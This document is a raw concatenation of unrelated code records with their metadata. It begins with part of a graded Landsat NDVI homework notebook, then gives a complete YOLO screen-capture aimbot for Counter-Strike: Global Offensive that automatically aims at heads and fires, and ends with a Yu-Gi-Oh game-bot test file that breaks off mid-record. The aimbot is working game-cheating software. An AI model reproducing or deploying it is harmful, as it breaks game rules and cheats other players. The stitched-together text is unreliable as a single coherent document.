be adapted to loop through more sites if the data were available).\n#     * The crop boundary and pixel qa files should probably be selected in this outer loop, so that those steps aren't repeated for each scene and only change from site to site.\n#     * Nest a second loop within the outer loop to loop through each scene file within the sites directories. This loop should apply the functions you wrote, calculate mean ndvi, pull scene date from the file or directory name, and then compile site name, date, and mean ndvi in a list.\n#     * You may need more than one inner loop, but I think just the two nested ones are enough.\n# * Outside the loops, convert the list of ndvi and other attributes to a dataframe, as you did for the single site above. Remember to format the date and reset the index to the date column.\n# * Plot mean ndvi vs date using the dataframe object you generated with the loop!\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom matplotlib.dates import DateFormatter\nfrom matplotlib.axes._axes import _log as matplotlib_axes_logger\n\nimport numpy as np\nimport pandas as pd\nimport rasterio as rio\nimport rioxarray as rxr\nimport xarray as xr\n\nimport earthpy as et\nimport geopandas as gpd\nimport seaborn as sns\nimport warnings\n\n# Prettier plotting with seaborn\nsns.set_style('white')\nsns.set(font_scale=1.5)\n# Suppress a warning about nan values in the ndvi calculation\nwarnings.simplefilter('ignore')\n\n# Download the necessary data using earthpy\net.data.get_data('ndvi-automation')\n\n# Define a variable for the working directory path.\nwd_path = os.path.join(et.io.HOME,\n                       \"earth-analytics\",\n                       \"data\")\n# Set the working directory or make the directory if it does not already exist.\nif os.path.exists(wd_path):\n    os.chdir(wd_path)\n    print(\"The current working directory is\", wd_path)\nelse:\n    os.makedirs(wd_path)\n    os.chdir(wd_path)\n    print(\"The path does not exist but is being created\")\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n\ndef get_bands(band_directory, valid_range=None):\n    \"\"\"Get a sorted list of paths to the files containing landsat bands 4 and 5\n    and open the files as xarray objects.\n\n    Parameters\n    ----------\n    band_directory : string\n        A string describing the file directory containing the landsat bands.\n    \n    valid_range : tuple (optional)\n        A tuple containing the valid range (min and max) of expected values\n        (default input is none).\n\n    Returns\n    ----------\n    all_bands : list\n        A list of two xarray DataArray objects, one for each landsat band.\n    \"\"\"\n    # Get a list of bands 4 and 5\n    band_paths = sorted(glob(os.path.join(band_directory,\n                                          \"*band*[4-5].tif\")))\n\n    # Open the bands, mask for valid values, and append them to a list\n    all_bands = []\n    for path in band_paths:\n        a_band = rxr.open_rasterio(path, masked=True).squeeze()\n        if valid_range is not None:\n            mask = ((a_band < valid_range[0]) | (a_band > valid_range[1]))\n            a_band = a_band.where(~xr.where(mask, True, False))\n\n        all_bands.append(a_band)\n\n    return all_bands\n\n\ndef mask_crop_ndvi(all_bands,\n                   crop_bound,\n                   pixel_qa,\n                   vals):\n    \"\"\"Calculate normalized difference vegetation index (NDVI) from the\n    provided landsat bands. Clip the output NDVI layer and the given\n    pixel qa layer to the boundary specified by the crop_bound file. Use the\n    cropped pixel qa layer and vals to apply a cloud mask to the cropped NDVI.\n    Save the cropped and masked NDVI layer as an xarray.\n\n    Parameters\n    -----------\n    all_bands : list\n        A list containing the xarray objects for landsat  bands 4 and  5.\n\n    crop_bound: geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using\n        rasterio mask().\n\n    pixel_qa: xarray DataArray\n        An xarray DataArray with pixel qa values that have not yet been turned\n        into a mask (0s and 1s).\n\n    vals: list\n        A list of values needed to create the cloud mask.\n\n    Returns\n    -----------\n    ndvi_crop : xarray DataArray\n        A cropped and masked xarray object containing NDVI values.\n    \"\"\"\n\n    crop_json = crop_bound.geometry\n\n    # Clip pixel qa cloud mask layer\n    cl_mask_crop = pixel_qa.rio.clip(crop_json)\n\n    # Calculate NDVI\n    ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n    # Clip NDVI layer\n    ndvi_crop = ndvi_xr.rio.clip(crop_json)\n\n    # Apply cloud mask to NDVI\n    ndvi_crop = ndvi_crop.where(~cl_mask_crop.isin(vals))\n\n    return ndvi_crop\n\n\n# ##### Reminders from instructor comments\n# ` Important: to use the ungraded tests below as a sanity check, name your columns: mean_ndvi and site\n#  Call the dataframe at the end of the cell so the tests run on it!\n#  Be sure that the date column is an index of type date\n#  HINT: the time series lessons may help you remember how to do this!`\n#  \n# ### Preliminary Setup\n# The following cell contains code that defines variables for the directories that will be looped through later in the workflow. The code also defines a list of vaules used for cloud masking.\n\n# In[6]:\n\n\n# Define site paths\nsites_path = os.path.join(\"ndvi-automation\", \"sites\")\nall_sites = sorted(glob(os.path.join(sites_path, '*/')))\n# Name a variable for the folder containing landsat files\nlandsat_dir = \"landsat-crop\"\n\n# List the cloud no data vals for Landsat 8:\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n# Specify a valid range of landsat values:\nvalid_range = (0, 10000)\n\n\n# #### Single HARV scene setup\n# The following cell defines the directory for the specific HARV scene we've been asked to analyze. It also pulls the site name and the date from the directory and navigates to and opens the qa layer and crop layer.\n\n# In[7]:\n\n\n# File path to single scene\nharv_single_path = os.path.join(sites_path,\n                                \"HARV\",\n                                \"landsat-crop\",\n                                \"LC080130302017031701T1-SC20181023151837\")\n# Get site name and date from directory name\ndir_name = os.path.basename(os.path.normpath(harv_single_path))\ndate = dir_name[10:18]\nsite_name = os.path.basename(os.path.normpath(all_sites[0]))\n\n# Open scene qa and site boundary files\nharv_single_qa_path = glob(os.path.join(harv_single_path,\n                                        \"*qa*\"))\nqa_layer = rxr.open_rasterio(harv_single_qa_path[0], masked=True).squeeze()\nboundary_path = os.path.join(sites_path,\n                             site_name,\n                             \"vector\",\n                             site_name + \"-crop.shp\")\nboundary = gpd.read_file(boundary_path)\n\n\n# #### Single site workflow\n\n# In[8]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Get bands then crop, mask, and calculate ndvi\nall_bands = get_bands(harv_single_path, valid_range)\nndvi_value = mask_crop_ndvi(all_bands,\n                            boundary,\n                            qa_layer,\n                            vals)\n# Calculate mean ndvi\nndvi_mean = np.nanmean(ndvi_value)\n\n# Capture the mean ndvi, site name, and date in a list\nndvi_list = []\nndvi_list.append([site_name, date, ndvi_mean])\n\n# Convert the NDVI list generated above to a dataframe and rename the columns.\nharv_single_mean_ndvi = pd.DataFrame(ndvi_list,\n                                     columns=[\"site\", \"date\", \"mean_ndvi\"])\nharv_single_mean_ndvi['date'] = pd.to_datetime(harv_single_mean_ndvi['date'],\n                                               format='%Y%m%d')\nharv_single_mean_ndvi = harv_single_mean_ndvi.set_index(['date'])\nharv_single_mean_ndvi\n\n\n# In[9]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[10]:\n\n\n# Loop through all directories and apply the functions you wrote.\n''' This loop contains optional 'print' statements to help track progress.\nThey are flagged with '# OPTIONAL PRINT' at the end of the line.\nUncomment the ones you wish to use.'''\n\n# Create an empty list for storing ndvi values.\nndvi_list = []\n\n# Loop through each site directory.\nfor site_files in all_sites:\n    #print(\"I am looping through\", site_files) # OPTIONAL PRINT\n    a_site = os.path.split(os.path.normpath(site_files))[1]\n    print(\"I am working on the\", a_site, \"field site now.\")\n\n    # Get the boundary shapefile for clipping from the vector directory.\n    vector_dir = os.path.join(site_files, \"vector\")\n    boundary_path = os.path.join(vector_dir,  a_site + \"-crop.shp\")\n    boundary = gpd.read_file(boundary_path)\n    #print(\"The current boundary path is\", boundary_path) # OPTIONAL PRINT\n\n    # Get a list of subdirectories for the current site.\n    new_path = os.path.join(site_files, landsat_dir)\n    all_dirs = sorted(glob(os.path.join(new_path, \"*/\")))\n\n    #  Loop through  each subdirectory where your data are stored.\n    for a_dir in all_dirs:\n        #print(\"Now processing\", a_dir) # OPTIONAL PRINT\n        # Get the date from the directory name\n        dir_name = os.path.basename(os.path.normpath(a_dir))\n        date = dir_name[10:18]\n\n        # Get cloud mask layer (qa file)\n        qa_path = glob(os.path.join(a_dir, \"*qa*\"))\n        qa_layer = rxr.open_rasterio(qa_path[0], masked=True).squeeze()\n\n        # Get landsat bands 4 and 5, crop and mask them, and calculate ndvi\n        all_bands = get_bands(a_dir, valid_range)\n        ndvi_value = mask_crop_ndvi(all_bands,\n                                    boundary,\n                                    qa_layer,\n                                    vals)\n        # Calculate mean NDVI\n        ndvi_mean = np.nanmean(ndvi_value)\n\n        # Capture  the site name, and  date in  a list\n        ndvi_list.append([a_site, date, ndvi_mean])\n\nprint(\"Processing complete.\")\n\n\n# In[11]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n# Convert the NDVI list generated above to a dataframe and rename the columns.\nmean_ndvi = pd.DataFrame(ndvi_list,\n                         columns=[\"site\", \"date\", \"mean_ndvi\"])\nmean_ndvi['date'] = pd.to_datetime(mean_ndvi['date'], format='%Y%m%d')\nmean_ndvi.reset_index(inplace=True)\nmean_ndvi.set_index(['date'], inplace=True)\nmean_ndvi\n\n\n# In[12]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points += 2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points += 2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points += 3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points += 3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[13]:\n\n\n# Plot mean NDVI for both sites across the year.\nfig1, ax1 = plt.subplots(figsize=(14, 10))\n\n# Group the data by site\nndvi_site_gr = mean_ndvi.dropna().groupby('site')\n\nfor site, group in ndvi_site_gr:\n    ax1.plot(group.index.values,\n             group['mean_ndvi'].values,\n             label=site,\n             marker='o')\n\n# Format plot axes and title\nax1.set(xlabel='Date',\n        ylabel='Mean NDVI Value',\n        title='Mean Normalized Difference Vegetation Index (NDVI)\\n for the HARV and SJER NEON sites, 2017')\nax1.legend()\n\n# Define date format\ndate_form = DateFormatter(\"%b-%d\")\nax1.xaxis.set_major_formatter(date_form)\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[14]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[15]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# The San Joaquin Experimental Range is located near Fresno, CA, an area with a Mediterranean climate. The open oak woodland typically reaches peak greenness in early March. Harvard Forest (near Boston, MA) is a northern hardwood and coniferous forest in a relatively cool and temperate climate. However, warming temperatures have resulted in an earlier onset of spring weather patterns, and average peak greenness at this location is now also reached by early March. In order to ideally capture peak greenness conditions, NEON flights for these sites would occur the first or second week of March.\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# In order to look at changes in vegetation over time, I'd first obtain landsat data from an additional year. I'd process the data the same way those from 2017 were in this workflow, and then additionally calculate a difference in mean ndvi from year to year. The difference operation could probably be added to the end of the multi-site processing loop.\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n", "meta": {"hexsha": "4fdf6b03cdc0c93b23f4b4328fdba56e47625f9f", "size": 26851, "ext": "py", "lang": "Python", "max_stars_repo_path": "ea-2021-04-ndvi-automation-mccormick.py", "max_stars_repo_name": "MECMccormick/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "a114bf24627425a0dd9a0d119ee40aa7cd2f2851", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ea-2021-04-ndvi-automation-mccormick.py", "max_issues_repo_name": "MECMccormick/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "a114bf24627425a0dd9a0d119ee40aa7cd2f2851", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ea-2021-04-ndvi-automation-mccormick.py", "max_forks_repo_name": "MECMccormick/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "a114bf24627425a0dd9a0d119ee40aa7cd2f2851", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.438253012, "max_line_length": 598, "alphanum_fraction": 0.7102901195, "include": true, "reason": "import numpy", "num_tokens": 6499, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.2538610013242243, "lm_q1q2_score": 0.09959902056259427}}
{"text": "import numpy as np\nimport pyautogui\nimport win32api, win32con, win32gui\nimport cv2\nimport math\nimport time\n\nCONFIG_FILE = './yolov3.cfg'\nWEIGHT_FILE = './yolov3.weights'\n\nnet = cv2.dnn.readNetFromDarknet(CONFIG_FILE, WEIGHT_FILE)\n#net.setPreferableBackend(cv.dnn.DNN_BACKEND_OPENCV)\nnet.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\nnet.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n\nln = net.getLayerNames()\nln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n\n# Get rect of Window\nhwnd = win32gui.FindWindow(None, 'Counter-Strike: Global Offensive')\nrect = win32gui.GetWindowRect(hwnd)\nregion = rect[0], rect[1], rect[2] - rect[0], rect[3] - rect[1]\n\nsize_scale = 2\nwhile True:\n    # Get image of screen\n    frame = np.array(pyautogui.screenshot(region=region))\n    frame_height, frame_width = frame.shape[:2]\n\n    # Detection\n    blob = cv2.dnn.blobFromImage(frame, 1 / 255.0, (416, 416), swapRB=True, crop=False)\n    net.setInput(blob)\n    layerOutputs = net.forward(ln)\n\n    boxes = []\n    confidences = []\n\n    for output in layerOutputs:\n        for detection in output:\n            scores = detection[5:]\n            classID = np.argmax(scores)\n            confidence = scores[classID]\n            if confidence > 0.7 and classID == 0:\n                box = detection[:4] * np.array([frame_width, frame_height, frame_width, frame_height])\n                (centerX, centerY, width, height) = box.astype(\"int\")\n                x = int(centerX - (width / 2))\n                y = int(centerY - (height / 2))\n                box = [x, y, int(width), int(height)]\n                boxes.append(box)\n                confidences.append(float(confidence))\n\n    indices = cv2.dnn.NMSBoxes(boxes, confidences, 0.7, 0.6)\n\n    # Calculate distance for picking the closest enemy from crosshair\n    if len(indices) > 0:\n        print(f\"Detected:{len(indices)}\")\n        min = 99999\n        min_at = 0\n        for i in indices.flatten():\n            (x, y) = (boxes[i][0], boxes[i][1])\n            (w, h) = (boxes[i][2], boxes[i][3])\n            cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 255), 2)\n\n            dist = math.sqrt(math.pow(frame_width/2 - (x+w/2), 2) + math.pow(frame_height/2 - (y+h/2), 2))\n            if dist < min:\n                min = dist\n                min_at = i\n\n        # Distance of the closest from crosshair\n        x = int(boxes[min_at][0] + boxes[min_at][2]/2 - frame_width/2)\n        y = int(boxes[min_at][1] + boxes[min_at][3]/2 - frame_height/2) - boxes[min_at][3] * 0.5 # For head shot\n\n        # Move mouse and shoot\n        scale = 1.7\n        x = int(x * scale)\n        y = int(y * scale)\n        win32api.mouse_event(win32con.MOUSEEVENTF_MOVE, x, y, 0, 0)\n        time.sleep(0.05)\n        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)\n        time.sleep(0.1)\n        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)\n\n    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n    frame = cv2.resize(frame, (frame.shape[1] // size_scale, frame.shape[0] // size_scale))\n    cv2.imshow(\"frame\", frame)\n    cv2.waitKey(1)\n", "meta": {"hexsha": "18615fef27420df4a0ffe69465639f965f800bc5", "size": 3091, "ext": "py", "lang": "Python", "max_stars_repo_path": "aimbot.py", "max_stars_repo_name": "5l1v3r1/AIMBOT-YOLO", "max_stars_repo_head_hexsha": "670e0a0d8c8fb2de6e8ba81b3cc693cb9403d991", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 33, "max_stars_repo_stars_event_min_datetime": "2021-03-08T01:55:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T14:10:49.000Z", "max_issues_repo_path": "aimbot.py", "max_issues_repo_name": "5l1v3r1/AIMBOT-YOLO", "max_issues_repo_head_hexsha": "670e0a0d8c8fb2de6e8ba81b3cc693cb9403d991", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-05-14T17:54:50.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-14T17:55:17.000Z", "max_forks_repo_path": "aimbot.py", "max_forks_repo_name": "monokim/AIMBOT-YOLO", "max_forks_repo_head_hexsha": "670e0a0d8c8fb2de6e8ba81b3cc693cb9403d991", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 13, "max_forks_repo_forks_event_min_datetime": "2021-04-23T10:27:30.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T20:37:08.000Z", "avg_line_length": 35.5287356322, "max_line_length": 112, "alphanum_fraction": 0.606276286, "include": true, "reason": "import numpy", "num_tokens": 911, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.538983220687684, "lm_q2_score": 0.1847675151370785, "lm_q1q2_score": 0.09958659038704298}}
{"text": "import asyncio\nimport concurrent\nimport os\nfrom concurrent.futures import ThreadPoolExecutor\nfrom unittest import TestCase\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage.measure import compare_ssim\n\nfrom bot.providers import Nox\nfrom bot.utils.common import default_config\nfrom bot.duel_links_runtime import DuelLinkRunTime\nfrom bot.common import mask_image, mse\n\n\ndef compare_images(image_a, image_b, title):\n    # compute the mean squared error and structural similarity\n    # index for the images\n    m = mse(image_a, image_b)\n    s = compare_ssim(image_a, image_b, multichannel=True)\n\n    # setup the figure\n    fig = plt.figure(title)\n    plt.suptitle(\"MSE: %.2f, SSIM: %.2f\" % (m, s))\n\n    # show first image\n    ax = fig.add_subplot(1, 2, 1)\n    plt.imshow(image_a, cmap=plt.cm.gray)\n    plt.axis(\"off\")\n\n    # show the second image\n    ax = fig.add_subplot(1, 2, 2)\n    plt.imshow(image_b, cmap=plt.cm.gray)\n    plt.axis(\"off\")\n\n    # show the images\n    plt.show()\n\n\nclass TestNox(TestCase):\n    provider = None\n    __debug_pictures__ = False\n\n    images_needed_debug = [\n        \"street_replay.png\"\n    ]\n\n    def setUp(self):\n        os.environ['LOG_CFG'] = r'D:\\Sync\\OneDrive\\Yu-gi-oh_bot\\config.ini'\n        dlRuntime = DuelLinkRunTime(default_config(r'D:\\Sync\\OneDrive\\Yu-gi-oh_bot'), None, False)\n        self.provider = Nox(None, default_config(r'D:\\Sync\\OneDrive\\Yu-gi-oh_bot'), dlRuntime)\n        self.provider.sleep_factor = 0.0\n        loop = asyncio.get_event_loop()\n        loop.set_default_executor(ThreadPoolExecutor(2))\n\n    def test_provider(self):\n        with self.assertRaises(AssertionError) as context:\n            provider = Nox(None, default_config(r'D:\\Sync\\OneDrive\\Fake'), None)\n        self.assertTrue('Missing File' in str(context.exception))\n\n    def test_start_process(self):\n        with self.assertRaises(FileNotFoundError) as context:\n            self.provider.NoxPath = 'C:\\\\Nox\\\\Not\\\\Here'\n            self.provider.start_process()\n\n    def test_initial_pass_through(self):\n        test_function = lambda x: x is False\n        self.provider.__start_app__()\n        with self.assertRaises(Exception) as context:\n            self.provider.__generic_wait_for__('DuelLinks Landing Page', test_function,\n                                               None)\n        self.assertTrue('Maximum exception count' in str(context.exception))\n        self.provider.sleep_factor = 0.5\n        with self.assertRaises(concurrent.futures._base.TimeoutError) as context:\n            self.provider.__generic_wait_for__('DuelLinks Landing Page', test_function,\n                                               self.provider.__is_initial_screen__, timeout=5)\n\n    def test_initial_pass_through_compare(self):\n        original = cv2.imread(os.path.join(self.provider.assets, \"start_screen.png\"))\n        against = self.provider.get_img_from_screen_shot()\n        wrong = cv2.imread(os.path.join(self.provider.assets, \"battle.png\"))\n\n        # convert the images to grayscale\n        original = mask_image([127], [255], cv2.cvtColor(original, cv2.COLOR_BGR2GRAY), True)\n        against = mask_image([127], [255], cv2.cvtColor(against, cv2.COLOR_BGR2GRAY), True)\n        wrong = mask_image([127], [255], cv2.cvtColor(wrong, cv2.COLOR_BGR2GRAY), True)\n        # initialize the figure\n        (score, diff) = compare_ssim(original, against, full=True)\n        diff = (diff * 255).astype(\"uint8\")\n        self.assertTrue(score > .90, 'If this is less then .90 the initial compare of the app will fail')\n        (score, nothing) = compare_ssim(original, wrong, full=True)\n        self.assertTrue(score < .90)\n        if self.__debug_pictures__:\n            # threshold the difference image, followed by finding contours to\n            # obtain the regions of the two input images that differ\n            thresh = cv2.threshold(diff, 0, 255,\n                                   cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n            cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n                                    cv2.CHAIN_APPROX_SIMPLE)\n            cnts = cnts[0]\n            # loop over the contours\n            for c in cnts:\n                # compute the bounding box of the contour and then draw the\n                # bounding box on both input images to represent where the two\n                # images differ\n                (x, y, w, h) = cv2.boundingRect(c)\n                cv2.rectangle(original, (x, y), (x + w, y + h), (0, 0, 255), 2)\n                cv2.rectangle(against, (x, y), (x + w, y + h), (0, 0, 255), 2)\n            # show the output images\n            diffs = (\"Original\", original), (\"Modified\", against), (\"Diff\", diff), (\"Thresh\", thresh)\n            images = (\"Original\", original), (\"Against\", against), (\"Wrong\", wrong)\n            self.setup_compare_images(diffs)\n            self.setup_compare_images(images)\n\n    def test_is_process_running(self):\n        self.fail()\n\n    def test_kill_process(self):\n        self.fail()\n\n    def test_ok_box_comparsion(self):\n        test_image_name = \"street_replay.png\"\n        self.provider._debug = False\n        self.provider.run_time.stop = False\n        test_image = os.path.join(self.provider.assets, test_image_name)\n        ok_present = self.provider.scan_for_ok(img=cv2.imread(test_image))\n        self.assertTrue(ok_present)\n\n    def setup_compare_images(self, images, compare_against_first=False):\n        i = np.asarray([isinstance(x, tuple) for x in list(images)])\n        assert i.all()\n        fig = plt.figure(\"Images\")\n        # loop over the images\n        for (i, (name, image)) in enumerate(images):\n            # show the image\n            ax = fig.add_subplot(2, 2, i + 1)\n            ax.set_title(name)\n            plt.imshow(image, cmap=plt.cm.gray)\n            plt.axis(\"off\")\n\n        # show the figure\n        plt.show()\n        if not compare_against_first:\n            return\n        original = images[0]\n        for (i, (name, image)) in enumerate(images[1:]):\n            # compare the images\n            compare_images(original[1], image, \"Original vs. {}\".format(name))\n", "meta": {"hexsha": "4484ba27a31e768b2ba1f7459c61c15a7f2bf12b", "size": 6128, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/providers/test_nox.py", "max_stars_repo_name": "david252620/Yugioh-bot", "max_stars_repo_head_hexsha": "cbdf6034717b625cd75819a44c18acfe9ee2f60c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 66, "max_stars_repo_stars_event_min_datetime": "2017-08-09T03:57:19.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-21T12:06:26.000Z", "max_issues_repo_path": "tests/providers/test_nox.py", "max_issues_repo_name": "david252620/Yugioh-bot", "max_issues_repo_head_hexsha": "cbdf6034717b625cd75819a44c18acfe9ee2f60c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 68, "max_issues_repo_issues_event_min_datetime": "2017-08-09T03:55:17.000Z", "max_issues_repo_issues_event_max_datetime": "2019-04-18T22:22:31.000Z", "max_forks_repo_path": "tests/providers/test_nox.py", "max_forks_repo_name": "david252620/Yugioh-bot", "max_forks_repo_head_hexsha": 